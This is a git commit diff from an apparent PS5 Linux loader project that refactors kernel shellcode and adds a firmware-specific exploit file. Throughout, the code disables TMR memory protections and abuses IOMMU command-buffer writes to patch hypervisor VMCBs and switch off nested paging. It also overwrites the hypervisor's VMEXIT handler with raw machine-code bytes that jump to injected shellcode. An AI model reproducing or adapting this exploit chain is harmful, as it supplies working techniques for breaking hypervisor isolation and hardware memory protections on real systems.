mirror of
https://github.com/ps5-linux/ps5-linux-loader.git
synced 2026-07-15 21:42:27 +00:00
refactor kernel shellcode and more tyding
This commit is contained in:
@@ -13,7 +13,7 @@ TARGET = shellcode_kernel.elf
|
||||
TEXT_BIN = shellcode_kernel.bin
|
||||
dump = shellcode_kernel.h
|
||||
|
||||
SRC = main.c utils.c boot_linux.c
|
||||
SRC = $(wildcard *.c)
|
||||
OBJ = $(SRC:.c=.o)
|
||||
|
||||
all: $(dump)
|
||||
|
||||
@@ -2,8 +2,6 @@
|
||||
#include "../include/config.h"
|
||||
#include "../include/linux.h"
|
||||
#include "../shellcode_hv/shellcode_hv.h"
|
||||
#include "../shellcode_hv/shellcode_hv_args.h"
|
||||
#include "shellcode_kernel_args.h"
|
||||
#include "utils.h"
|
||||
#include <unistd.h>
|
||||
|
||||
@@ -86,12 +84,10 @@ static int mp3_enable_output(int be, int mode) {
|
||||
return mp3_invoke(22, mp3_req, mp3_rsp);
|
||||
}
|
||||
|
||||
static void patch_hv(void) {
|
||||
static void install_hv_code(void) {
|
||||
// Install identity map for HV
|
||||
uint64_t identity_cr3 = cave_hv_paging;
|
||||
uint64_t identity_pml4_0 =
|
||||
identity_cr3 +
|
||||
0x1003ULL;
|
||||
uint64_t identity_pml4_0 = identity_cr3 + 0x1003ULL;
|
||||
uint64_t l40_l3_addr = PAGE_PA(identity_pml4_0); // addr PML4[0]
|
||||
uint64_t identity_pml40_l3[] = {
|
||||
0x0000000000000083, // P, RW, US=0 - 0 GB to 1 GB
|
||||
@@ -108,44 +104,15 @@ static void patch_hv(void) {
|
||||
*(uint64_t *)PHYS_TO_DMAP(l40_l3_addr + i * 8) = identity_pml40_l3[i];
|
||||
}
|
||||
|
||||
// Install hv_shellcode 2
|
||||
// Install shellcode_hv
|
||||
memcpy((void *)PHYS_TO_DMAP(cave_hv_code), shellcode_hv_bin,
|
||||
shellcode_hv_bin_len);
|
||||
|
||||
// Jump to shellcode final identity mapping
|
||||
uint8_t shellcode_jmp[] = {
|
||||
0x48, 0xC7, 0xC0, 0x00, 0x6F, 0x80, 0x62, // mov rax, 0x62806f00
|
||||
0xFF, 0xE0, 0xC3, 0xC3, 0xC3, 0xC3, 0xC3, // jmp rax
|
||||
0xC3, 0xC3};
|
||||
|
||||
// Update code cave in hv 1:1 region
|
||||
*(uint32_t *)(&shellcode_jmp[3]) = (uint32_t)args.hv_code_cave_pa;
|
||||
|
||||
// Just patch the VMEXIT handler directly, avoiding all checks
|
||||
memcpy((void *)PHYS_TO_DMAP(args.hv_handle_vmexit_pa), shellcode_jmp,
|
||||
sizeof(shellcode_jmp));
|
||||
|
||||
uint8_t shellcode_identity_and_jmp[] = {
|
||||
0x48, 0xB8, 0x00, 0x00, 0x00,
|
||||
0x00, 0x01, 0x00, 0x00, 0x00, // movabs rax, 0x100000000
|
||||
0x0F, 0x22, 0xD8, // mov cr3, rax
|
||||
0x48, 0xB8, 0x00, 0x30, 0x00,
|
||||
0x00, 0x01, 0x00, 0x00, 0x00, // movabs rax, 0x100003000
|
||||
0xFF, 0xE0 // jmp rax
|
||||
};
|
||||
|
||||
// Update CR3 PA (from config)
|
||||
*(uint64_t *)(&shellcode_identity_and_jmp[2]) = cave_hv_paging;
|
||||
// Update HV shellcode cave
|
||||
*(uint64_t *)(&shellcode_identity_and_jmp[15]) = cave_hv_code;
|
||||
|
||||
// Install shellcode 1 to update CR3 and jump to main HV shellcode
|
||||
memcpy((void *)PHYS_TO_DMAP(args.hv_code_cave_pa), shellcode_identity_and_jmp,
|
||||
sizeof(shellcode_identity_and_jmp));
|
||||
}
|
||||
|
||||
void boot_linux(void) {
|
||||
patch_hv();
|
||||
|
||||
// Common bootloader code
|
||||
install_hv_code();
|
||||
|
||||
memcpy((void *)PHYS_TO_DMAP(0xC0000), (void *)g_vbios, 0x10000);
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
#define ALIGN_UP(size, align) (((size) + (align) - 1) & ~((align) - 1))
|
||||
|
||||
static int dp_enable_link_phy(int lanenum, int linkrate);
|
||||
static void patch_hv(void);
|
||||
static void install_hv_code(void);
|
||||
void boot_linux(void);
|
||||
|
||||
extern int (*transmitter_control)(int cmd, void *control);
|
||||
|
||||
154
shellcode_kernel/exploit_0304.c
Normal file
154
shellcode_kernel/exploit_0304.c
Normal file
@@ -0,0 +1,154 @@
|
||||
#include "exploit_0304.h"
|
||||
#include "../include/config.h"
|
||||
#include "shellcode_kernel_args.h"
|
||||
#include "utils.h"
|
||||
|
||||
uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa,
|
||||
uint64_t eb_pa, uint64_t unk, int *n_devices);
|
||||
uint32_t (*hv_iommu_wait_completion)(void);
|
||||
|
||||
int disable_npts_0304(volatile shellcode_kernel_args *args_ptr) {
|
||||
uint64_t iommu_cb2_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_cb2_va);
|
||||
uint64_t iommu_cb3_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_cb3_va);
|
||||
uint64_t iommu_eb_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_eb_va);
|
||||
|
||||
uint64_t unk;
|
||||
int n_devices;
|
||||
|
||||
// Reconfigure IOMMU calling the HV
|
||||
int ret = ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t,
|
||||
int *))args_ptr->fun_hv_iommu_set_buffers)(
|
||||
iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t)&unk, &n_devices);
|
||||
if (ret != 0) {
|
||||
puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb X\n"});
|
||||
return -1;
|
||||
}
|
||||
|
||||
ret = ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)();
|
||||
if (ret) {
|
||||
puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb NO OK\n"});
|
||||
return -1;
|
||||
}
|
||||
|
||||
puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb OK\n"});
|
||||
|
||||
if (tmr_disable(args_ptr->dmap_base)) {
|
||||
puts_uart(args_ptr->dmap_base, (char[]){"TMR NO OK\n"});
|
||||
return -1;
|
||||
}
|
||||
|
||||
puts_uart(args_ptr->dmap_base, (char[]){"TMR OK\n"});
|
||||
|
||||
patch_vmcb(args_ptr);
|
||||
puts_uart(args_ptr->dmap_base, (char[]){"VMCB OK\n"});
|
||||
|
||||
// Re-do this to force a VMEXIT without HV injecting faults
|
||||
((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t,
|
||||
int *))args_ptr->fun_hv_iommu_set_buffers)(
|
||||
iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t)&unk, &n_devices);
|
||||
((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)();
|
||||
puts_uart(args_ptr->dmap_base, (char[]){"Back from HV\n"});
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void patch_hv_0304(void) {
|
||||
// Jump to shellcode final identity mapping
|
||||
uint8_t shellcode_jmp[] = {
|
||||
0x48, 0xC7, 0xC0, 0x00, 0x6F, 0x80, 0x62, // mov rax, 0x62806f00
|
||||
0xFF, 0xE0, 0xC3, 0xC3, 0xC3, 0xC3, 0xC3, // jmp rax
|
||||
0xC3, 0xC3};
|
||||
|
||||
// Update code cave in hv 1:1 region
|
||||
*(uint32_t *)(&shellcode_jmp[3]) = (uint32_t)args.hv_code_cave_pa;
|
||||
|
||||
// Just patch the VMEXIT handler directly, avoiding all checks
|
||||
memcpy((void *)PHYS_TO_DMAP(args.hv_handle_vmexit_pa), shellcode_jmp,
|
||||
sizeof(shellcode_jmp));
|
||||
|
||||
uint8_t shellcode_identity_and_jmp[] = {
|
||||
0x48, 0xB8, 0x00, 0x00, 0x00,
|
||||
0x00, 0x01, 0x00, 0x00, 0x00, // movabs rax, 0x100000000
|
||||
0x0F, 0x22, 0xD8, // mov cr3, rax
|
||||
0x48, 0xB8, 0x00, 0x30, 0x00,
|
||||
0x00, 0x01, 0x00, 0x00, 0x00, // movabs rax, 0x100003000
|
||||
0xFF, 0xE0 // jmp rax
|
||||
};
|
||||
|
||||
// Update CR3 PA (from config)
|
||||
*(uint64_t *)(&shellcode_identity_and_jmp[2]) = cave_hv_paging;
|
||||
// Update HV shellcode cave
|
||||
*(uint64_t *)(&shellcode_identity_and_jmp[15]) = cave_hv_code;
|
||||
|
||||
// Install shellcode to update CR3 and jump to main HV shellcode
|
||||
memcpy((void *)PHYS_TO_DMAP(args.hv_code_cave_pa), shellcode_identity_and_jmp,
|
||||
sizeof(shellcode_identity_and_jmp));
|
||||
}
|
||||
|
||||
__attribute__((noinline, optimize("O0"))) void
|
||||
iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd) {
|
||||
uint64_t curr_tail =
|
||||
*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8);
|
||||
uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & IOMMU_CB_MASK;
|
||||
|
||||
uint64_t *cmd_buffer = (uint64_t *)args_ptr->iommu_cb2_va + curr_tail / 8;
|
||||
|
||||
cmd_buffer[0] = cmd[0];
|
||||
cmd_buffer[1] = cmd[1];
|
||||
|
||||
__asm__ volatile("" : : : "memory");
|
||||
|
||||
*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8) = next_tail;
|
||||
|
||||
while (*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_HEAD / 8) !=
|
||||
*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8))
|
||||
;
|
||||
}
|
||||
|
||||
__attribute__((noinline, optimize("O0"))) void
|
||||
iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa,
|
||||
uint64_t val) {
|
||||
uint32_t cmd[4] = {0};
|
||||
cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05;
|
||||
cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000;
|
||||
cmd[2] = (uint32_t)(val);
|
||||
cmd[3] = (uint32_t)(val >> 32);
|
||||
iommu_submit_cmd(args_ptr, (uint64_t *)cmd);
|
||||
}
|
||||
|
||||
__attribute__((noinline, optimize("O0"))) void
|
||||
patch_vmcb(volatile shellcode_kernel_args *args_ptr) {
|
||||
for (int i = 0; i < 16; i++) {
|
||||
uint64_t pa = args_ptr->vmcb[i];
|
||||
|
||||
iommu_write8_pa(args_ptr, pa + 0x00, 0x0000000000000000ULL);
|
||||
iommu_write8_pa(args_ptr, pa + 0x08, 0x0004000000000000ULL);
|
||||
iommu_write8_pa(args_ptr, pa + 0x10, 0x000000000000000FULL);
|
||||
iommu_write8_pa(args_ptr, pa + 0x58, 0x0000000000000001ULL);
|
||||
iommu_write8_pa(args_ptr, pa + 0x90, 0x0000000000000000ULL);
|
||||
}
|
||||
}
|
||||
|
||||
__attribute__((noinline, optimize("O0"))) uint32_t tmr_read(uint64_t dmap,
|
||||
uint32_t addr) {
|
||||
*(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr;
|
||||
return *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF);
|
||||
}
|
||||
|
||||
__attribute__((noinline, optimize("O0"))) void
|
||||
tmr_write(uint64_t dmap, uint32_t addr, uint32_t val) {
|
||||
*(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr;
|
||||
*(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF) = val;
|
||||
}
|
||||
|
||||
__attribute__((noinline, optimize("O0"))) int tmr_disable(uint64_t dmap) {
|
||||
for (int i = 0; i < 24; i++) {
|
||||
if (tmr_read(dmap, TMR_CONFIG(i)) != 0) {
|
||||
tmr_write(dmap, TMR_CONFIG(i), 0);
|
||||
if (tmr_read(dmap, TMR_CONFIG(i)) != 0) {
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
49
shellcode_kernel/exploit_0304.h
Normal file
49
shellcode_kernel/exploit_0304.h
Normal file
@@ -0,0 +1,49 @@
|
||||
#ifndef EXPLOIT_0304_H
|
||||
#define EXPLOIT_0304_H
|
||||
#include "shellcode_kernel_args.h"
|
||||
|
||||
extern uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa,
|
||||
uint64_t eb_pa, uint64_t unk,
|
||||
int *n_devices);
|
||||
extern uint32_t (*hv_iommu_wait_completion)(void);
|
||||
|
||||
int disable_npts_0304(volatile shellcode_kernel_args *args_ptr);
|
||||
void patch_hv_0304(void);
|
||||
|
||||
// tmr via ecam b0d18f2
|
||||
#ifndef ECAM_B0D18F2
|
||||
#define ECAM_B0D18F2 (0xF0000000ULL + 0x18ULL * 0x8000 + 2 * 0x1000)
|
||||
#define TMR_INDEX_OFF 0x80
|
||||
#define TMR_DATA_OFF 0x84
|
||||
#endif
|
||||
|
||||
// tmr layout (hardware)
|
||||
#define TMR_BASE(n) ((n) * 0x10 + 0x00)
|
||||
#define TMR_LIMIT(n) ((n) * 0x10 + 0x04)
|
||||
#define TMR_CONFIG(n) ((n) * 0x10 + 0x08)
|
||||
#define TMR_REQUESTORS(n) ((n) * 0x10 + 0x0C)
|
||||
#define TMR_CFG_PERMISSIVE 0x3F07
|
||||
#define MAX_TMR 22
|
||||
#define MAX_SAVED_TMRS 8
|
||||
|
||||
uint32_t tmr_read(uint64_t dmap, uint32_t addr);
|
||||
void tmr_write(uint64_t dmap, uint32_t addr, uint32_t val);
|
||||
int tmr_disable(uint64_t dmap);
|
||||
|
||||
// Command buffer MMIO offsets
|
||||
#define IOMMU_MMIO_CB_HEAD 0xa000
|
||||
#define IOMMU_MMIO_CB_TAIL 0xa008
|
||||
|
||||
// Queue constants
|
||||
#define IOMMU_CB_SIZE 0x2000
|
||||
#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1)
|
||||
#define IOMMU_CMD_ENTRY_SIZE 0x10
|
||||
|
||||
// Submit a single 16-byte command and wait for completion
|
||||
void iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd);
|
||||
// Write 8 bytes to a physical address using IOMMU completion wait store
|
||||
void iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa,
|
||||
uint64_t val);
|
||||
|
||||
void patch_vmcb(volatile shellcode_kernel_args *args_ptr);
|
||||
#endif
|
||||
@@ -1,6 +1,8 @@
|
||||
#include "main.h"
|
||||
#include "boot_linux.h"
|
||||
#include "exploit_0304.h"
|
||||
#include "utils.h"
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
shellcode_kernel_args args = {0};
|
||||
@@ -12,187 +14,39 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
|
||||
volatile shellcode_kernel_args *args_ptr =
|
||||
(volatile shellcode_kernel_args
|
||||
*)0x11AA11AA11AA11AA; // To be replaced with proper address in .kdata
|
||||
// by loader
|
||||
|
||||
// "Hide" the pointer from the optimizer
|
||||
__asm__ volatile("" : "+r"(args_ptr));
|
||||
|
||||
// We don't have required information - Abort
|
||||
if ((args_ptr->fun_printf & 0xFFFF) == 0) {
|
||||
goto out;
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Activate UART on Kernel
|
||||
uint32_t *uart_va = (uint32_t *)(args_ptr->dmap_base + 0xC0115110ULL);
|
||||
*uart_va &= ~0x200;
|
||||
uint32_t *override_char_va = (uint32_t *)args_ptr->kernel_uart_override;
|
||||
*override_char_va = 0x0;
|
||||
activate_uart(args_ptr);
|
||||
|
||||
uint64_t iommu_cb2_pa =
|
||||
((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_cb2_va);
|
||||
uint64_t iommu_cb3_pa =
|
||||
((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_cb3_va);
|
||||
uint64_t iommu_eb_pa =
|
||||
((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_eb_va);
|
||||
|
||||
uint64_t unk;
|
||||
int n_devices;
|
||||
|
||||
// Reconfigure IOMMU calling the HV
|
||||
int ret = ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t,
|
||||
int *))args_ptr->fun_hv_iommu_set_buffers)(
|
||||
iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t)&unk, &n_devices);
|
||||
|
||||
if (ret != 0) {
|
||||
puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb X\n"});
|
||||
goto out;
|
||||
}
|
||||
|
||||
ret = ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)();
|
||||
|
||||
if (ret == 0) {
|
||||
puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb OK\n"});
|
||||
|
||||
if (tmr_disable(args_ptr->dmap_base)) {
|
||||
puts_uart(args_ptr->dmap_base, (char[]){"TMR X\n"});
|
||||
goto out;
|
||||
}
|
||||
|
||||
puts_uart(args_ptr->dmap_base, (char[]){"TMR OK\n"});
|
||||
|
||||
patch_vmcb(args_ptr);
|
||||
|
||||
puts_uart(args_ptr->dmap_base, (char[]){"VMCB OK\n"});
|
||||
|
||||
// Re-do this to force a VMEXIT without HV injecting faults
|
||||
((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t,
|
||||
int *))args_ptr->fun_hv_iommu_set_buffers)(
|
||||
iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t)&unk, &n_devices);
|
||||
((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)();
|
||||
|
||||
puts_uart(args_ptr->dmap_base, (char[]){"Back from HV\n"});
|
||||
|
||||
// We can now initiate the global args variable and use it, as NPTs are
|
||||
// disabled
|
||||
if ((0x0300 <= args_ptr->fw_version) && (args_ptr->fw_version < 0x0500)) {
|
||||
if (disable_npts_0304(args_ptr))
|
||||
return -1;
|
||||
// Now we can R/W on .text
|
||||
init_global_pointers(args_ptr);
|
||||
|
||||
printf("HV_Defeat: we should be ready for Linux part\n");
|
||||
|
||||
boot_linux();
|
||||
printf("Linux prepared OK\n");
|
||||
|
||||
printf("Calling smp_rendezvous to exit all cores to HV with ptr: %016lx\n",
|
||||
(uint64_t)vmmcall_dummy);
|
||||
printf("Good Bye VM :)\n");
|
||||
|
||||
smp_rendezvous(smp_no_rendevous_barrier, vmmcall_dummy,
|
||||
smp_no_rendevous_barrier, NULL);
|
||||
|
||||
printf("We shouldn't be here :(\n");
|
||||
patch_hv_0304();
|
||||
} else if ((0x0500 <= args_ptr->fw_version) &&
|
||||
(args_ptr->fw_version < 0x0650)) {
|
||||
// escape_hv_0506();
|
||||
// Now we can R/W on .text
|
||||
// init_global_pointers(args_ptr);
|
||||
} else {
|
||||
puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb NO OK\n"});
|
||||
return 0;
|
||||
}
|
||||
|
||||
out:
|
||||
boot_linux();
|
||||
printf("Linux prepared OK\n");
|
||||
|
||||
printf("Good Bye VM :)\n");
|
||||
smp_rendezvous(smp_no_rendevous_barrier, vmmcall_dummy,
|
||||
smp_no_rendevous_barrier, NULL);
|
||||
|
||||
printf("We shouldn't be here :(\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
__attribute__((noinline, optimize("O0"), naked)) void vmmcall_dummy(void) {
|
||||
__asm__ volatile("mov $0x1, %rax \n"
|
||||
"vmmcall \n"
|
||||
"ret \n");
|
||||
}
|
||||
|
||||
void halt(void) { __asm__ __volatile__("hlt"); }
|
||||
|
||||
// Submit a single 16-byte command and wait for completion
|
||||
__attribute__((noinline, optimize("O0"))) void
|
||||
iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd) {
|
||||
uint64_t curr_tail = *(
|
||||
(uint64_t *)args_ptr->iommu_mmio_va +
|
||||
IOMMU_MMIO_CB_TAIL /
|
||||
8);
|
||||
uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) &
|
||||
IOMMU_CB_MASK;
|
||||
|
||||
uint64_t *cmd_buffer = (uint64_t *)args_ptr->iommu_cb2_va +
|
||||
curr_tail / 8;
|
||||
|
||||
cmd_buffer[0] = cmd[0];
|
||||
cmd_buffer[1] = cmd[1];
|
||||
|
||||
__asm__ volatile("" : : : "memory");
|
||||
|
||||
*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8) = next_tail;
|
||||
|
||||
while (*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_HEAD / 8) !=
|
||||
*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8))
|
||||
;
|
||||
}
|
||||
|
||||
__attribute__((noinline, optimize("O0"))) void
|
||||
iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa,
|
||||
uint64_t val) {
|
||||
uint32_t cmd[4] = {0};
|
||||
cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05;
|
||||
cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000;
|
||||
cmd[2] = (uint32_t)(val);
|
||||
cmd[3] = (uint32_t)(val >> 32);
|
||||
iommu_submit_cmd(args_ptr, (uint64_t *)cmd);
|
||||
}
|
||||
|
||||
__attribute__((noinline, optimize("O0"))) void
|
||||
patch_vmcb(volatile shellcode_kernel_args *args_ptr) {
|
||||
for (int i = 0; i < 16; i++) {
|
||||
uint64_t pa = args_ptr->vmcb[i];
|
||||
|
||||
iommu_write8_pa(args_ptr, pa + 0x00,
|
||||
0x0000000000000000ULL);
|
||||
iommu_write8_pa(args_ptr, pa + 0x08,
|
||||
0x0004000000000000ULL);
|
||||
iommu_write8_pa(args_ptr, pa + 0x10,
|
||||
0x000000000000000FULL);
|
||||
iommu_write8_pa(args_ptr, pa + 0x58,
|
||||
0x0000000000000001ULL);
|
||||
iommu_write8_pa(args_ptr, pa + 0x90,
|
||||
0x0000000000000000ULL);
|
||||
}
|
||||
}
|
||||
|
||||
__attribute__((noinline, optimize("O0"))) uint32_t tmr_read(uint64_t dmap,
|
||||
uint32_t addr) {
|
||||
*(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr;
|
||||
return *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF);
|
||||
}
|
||||
|
||||
__attribute__((noinline, optimize("O0"))) void
|
||||
tmr_write(uint64_t dmap, uint32_t addr, uint32_t val) {
|
||||
*(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr;
|
||||
*(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF) = val;
|
||||
}
|
||||
|
||||
__attribute__((noinline, optimize("O0"))) int tmr_disable(uint64_t dmap) {
|
||||
for (int i = 0; i < 24; i++) {
|
||||
if (tmr_read(dmap, TMR_CONFIG(i)) != 0) {
|
||||
tmr_write(dmap, TMR_CONFIG(i), 0);
|
||||
if (tmr_read(dmap, TMR_CONFIG(i)) != 0) {
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void init_global_pointers(volatile shellcode_kernel_args *args_ptr) {
|
||||
memcpy(&args, (void *)args_ptr, sizeof(args));
|
||||
|
||||
printf = (void (*)(const char *, ...))args.fun_printf;
|
||||
smp_rendezvous = (void (*)(void (*)(void), void (*)(void), void (*)(void),
|
||||
void *))args.fun_smp_rendezvous;
|
||||
smp_no_rendevous_barrier = (void (*)(void))args.fun_smp_no_rendevous_barrier;
|
||||
|
||||
transmitter_control = (int (*)(int, void *))args.fun_transmitter_control;
|
||||
mp3_initialize = (int (*)(int))args.fun_mp3_initialize;
|
||||
mp3_invoke = (int (*)(int, void *, void *))args.fun_mp3_invoke;
|
||||
g_vbios = args.g_vbios;
|
||||
}
|
||||
|
||||
@@ -4,62 +4,10 @@
|
||||
#include <stdint.h>
|
||||
|
||||
void (*printf)(const char *format, ...);
|
||||
uint32_t (*AcpiSetFirmwareWakingVector)(uint64_t PhysicalAddress,
|
||||
uint64_t PhysicalAddress64);
|
||||
uint64_t (*kernel_va_to_pa)(uint64_t va);
|
||||
uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa,
|
||||
uint64_t eb_pa, uint64_t unk, int *n_devices);
|
||||
uint32_t (*hv_iommu_wait_completion)(void);
|
||||
void (*smp_rendezvous)(void (*setup_func)(void), void (*action_func)(void),
|
||||
void (*teardown_func)(void), void *arg);
|
||||
void (*smp_no_rendevous_barrier)(void);
|
||||
|
||||
// We are being called instead of AcpiSetFirmwareWakingVector from
|
||||
// acpi_wakeup_machdep
|
||||
uint32_t main(uint64_t add1, uint64_t add2);
|
||||
|
||||
uint64_t rdmsr(uint32_t msr);
|
||||
|
||||
// tmr via ecam b0d18f2
|
||||
#ifndef ECAM_B0D18F2
|
||||
#define ECAM_B0D18F2 (0xF0000000ULL + 0x18ULL * 0x8000 + 2 * 0x1000)
|
||||
#define TMR_INDEX_OFF 0x80
|
||||
#define TMR_DATA_OFF 0x84
|
||||
#endif
|
||||
|
||||
// tmr layout (hardware)
|
||||
#define TMR_BASE(n) ((n) * 0x10 + 0x00)
|
||||
#define TMR_LIMIT(n) ((n) * 0x10 + 0x04)
|
||||
#define TMR_CONFIG(n) ((n) * 0x10 + 0x08)
|
||||
#define TMR_REQUESTORS(n) ((n) * 0x10 + 0x0C)
|
||||
#define TMR_CFG_PERMISSIVE 0x3F07
|
||||
#define MAX_TMR 22
|
||||
#define MAX_SAVED_TMRS 8
|
||||
|
||||
uint32_t tmr_read(uint64_t dmap, uint32_t addr);
|
||||
void tmr_write(uint64_t dmap, uint32_t addr, uint32_t val);
|
||||
int tmr_disable(uint64_t dmap);
|
||||
|
||||
// Command buffer MMIO offsets
|
||||
#define IOMMU_MMIO_CB_HEAD 0xa000
|
||||
#define IOMMU_MMIO_CB_TAIL 0xa008
|
||||
|
||||
// Queue constants
|
||||
#define IOMMU_CB_SIZE 0x2000
|
||||
#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1)
|
||||
#define IOMMU_CMD_ENTRY_SIZE 0x10
|
||||
|
||||
// Submit a single 16-byte command and wait for completion
|
||||
void iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd);
|
||||
// Write 8 bytes to a physical address using IOMMU completion wait store
|
||||
void iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa,
|
||||
uint64_t val);
|
||||
|
||||
void patch_vmcb(volatile shellcode_kernel_args *args_ptr);
|
||||
|
||||
#define NULL (void *)0
|
||||
void vmmcall_dummy(void);
|
||||
void halt(void);
|
||||
void init_global_pointers(volatile shellcode_kernel_args *args_ptr);
|
||||
|
||||
#endif
|
||||
|
||||
@@ -5,12 +5,12 @@
|
||||
#include <stdint.h>
|
||||
|
||||
typedef struct {
|
||||
uint32_t fw_version;
|
||||
uint16_t fw_version;
|
||||
uint64_t ktext;
|
||||
uint64_t kdata;
|
||||
uint64_t dmap_base;
|
||||
uint64_t fun_printf;
|
||||
uint64_t fun_va_to_pa;
|
||||
uint64_t fun_vtophys;
|
||||
uint64_t fun_hv_iommu_set_buffers;
|
||||
uint64_t fun_hv_iommu_wait_completion;
|
||||
uint64_t fun_acpi_set_fw_waking_vector;
|
||||
@@ -28,7 +28,6 @@ typedef struct {
|
||||
uint64_t kernel_uart_override;
|
||||
uint64_t hv_handle_vmexit_pa;
|
||||
uint64_t hv_code_cave_pa;
|
||||
uint64_t hv_uart_override_pa;
|
||||
uint64_t linux_info_va; // To relocate by kernel shellcode
|
||||
} shellcode_kernel_args;
|
||||
|
||||
|
||||
@@ -15,27 +15,23 @@ void memcpy(void *dest, void *src, uint64_t len) {
|
||||
|
||||
uint64_t read_cr3(void) {
|
||||
uint64_t cr3;
|
||||
__asm__ volatile("mov %%cr3, %0"
|
||||
: "=r"(cr3)
|
||||
:
|
||||
:
|
||||
);
|
||||
__asm__ volatile("mov %%cr3, %0" : "=r"(cr3) : :);
|
||||
return cr3;
|
||||
}
|
||||
|
||||
uint64_t va_to_pa_kernel(uint64_t va) {
|
||||
uint64_t vtophys(uint64_t dmap, uint64_t va) {
|
||||
uint64_t cr3 = read_cr3();
|
||||
return va_to_pa_custom(va, cr3);
|
||||
return vtophys_custom(dmap, va, cr3);
|
||||
}
|
||||
|
||||
uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) {
|
||||
uint64_t vtophys_custom(uint64_t dmap, uint64_t va, uint64_t cr3_custom) {
|
||||
uint64_t table_phys = cr3_custom & 0xFFFFFFFF;
|
||||
|
||||
for (int level = 0; level < 4; level++) {
|
||||
int shift = 39 - (level * 9);
|
||||
uint64_t idx = (va >> shift) & 0x1FF;
|
||||
uint64_t entry;
|
||||
uint64_t entry_va = PHYS_TO_DMAP(PAGE_PA(table_phys) + idx * 8);
|
||||
uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8;
|
||||
|
||||
entry = *(uint64_t *)entry_va;
|
||||
|
||||
@@ -55,8 +51,7 @@ uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
__attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint64_t dmap,
|
||||
uint8_t tx_byte) {
|
||||
uint32_t putc_uart(uint64_t dmap, uint8_t tx_byte) {
|
||||
volatile uint32_t *uart_tx = (uint32_t *)(dmap + 0xc1010104ULL);
|
||||
